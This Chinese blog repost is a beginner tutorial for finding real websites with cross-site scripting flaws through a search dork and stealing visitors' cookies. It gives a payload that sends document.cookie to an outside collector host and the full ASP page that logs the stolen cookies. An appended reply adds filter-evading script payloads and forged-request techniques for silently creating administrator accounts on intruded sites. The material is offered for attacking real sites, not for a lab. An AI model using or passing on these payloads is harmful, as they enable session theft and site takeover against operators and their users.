• 简单利用XSS获取Cookie信息实例演示


    简单利用XSS获取Cookie信息实例演示

     
    首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了
     
    简单利用XSS获取Cookie信息实例演示|获取Cookie XSS|熊猫博客
     
    再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
     
    简单利用XSS获取Cookie信息实例演示|获取Cookie XSS|熊猫博客
     
    这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
    1:让目标访问已跨站的网址,然后这个网址执行脚本
    2:然后跳转到你已经写好专门用来收集Cookie的网址
     
    具体实现方法:
    先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>
    这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。
     
    这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
     
    <html>
    <title> www.2cto.com </title>
    <body>
    <%
    testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
    msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
    set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
    set thisfile = fs.OpenTextFile(testfile,8,True,0)
    thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
    thisfile.close //关闭
    set fs = nothing
    %>
    </body>
    </html>然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
     
    简单利用XSS获取Cookie信息实例演示|获取Cookie XSS|熊猫博客
    简单利用XSS获取Cookie信息实例演示|获取Cookie XSS|熊猫博客
     
    拿出来看看,呵呵,Cookie到手:
     
    简单利用XSS获取Cookie信息实例演示|获取Cookie XSS|熊猫博客
     
    本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
     
    PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
     
    -------------------------------------------------------------------
     
    下面是我对这个帖子的回复,也一起贴过来吧:说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。
     
    但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
    再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
     
    在文章的最后,顺便贴上一般XSS的利用思路:
    一般发现一个xss漏洞后要做的基本上就是这些:
     
    1. 伪造请求 使用$_REQUEST或$_GET
     
    首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
    <img src="/admin/admin_add.asp?name=xxx&psd=yyy" />
    当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
     
    如果是可视文本编辑器,可以尝试使用输入:
    /Article/UploadPic/2012-3/2012323162735978.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
    这样最终会构造出:
    <img src="/Article/UploadPic/2012-3/2012323162735978.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
    总之要举一反三。
     
    2. 伪造请求 使用$_POST
     
    当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
    <sc/*xss*/ript type="text/javascript">
    var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
    aj.open("POST", "/admin/admin_add.asp", false);
    var postdata = 'name=xxx&psd=yyy';
    aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
    aj.send(postdata);
    </scr/*xss*/ipt>
    /*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
     
    3. 跨站伪造请求 使用$_GET 或 $_REQUEST
     
    与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
    <img src="http:// www.2cto.com /admin/admin_add.asp?user=xxx&psd=yyy"/>
    然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
     
    4.跨站伪造请求 使用$_POST(0day)
     
    如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
     
    但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。
     
    总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量
  • 相关阅读:
    Get IPv4 Address 2.0
    Apache Tomcat Manager 2.0
    Apache Tomcat Manager 1.0
    FTP自动登录脚本文件
    VMware Workstation 10 + CentOS-5.5-i386 + MySQL Server 5.5
    Copy Files Blurry 1.0
    Extract Chorus From Audio 1.0
    Refresh Baidu Zhidao Evaluate Num 2.0
    File Split 1.0
    其它有趣的事情分享
  • 原文地址:https://www.cnblogs.com/timssd/p/6515005.html
Copyright © 2020-2023  润新知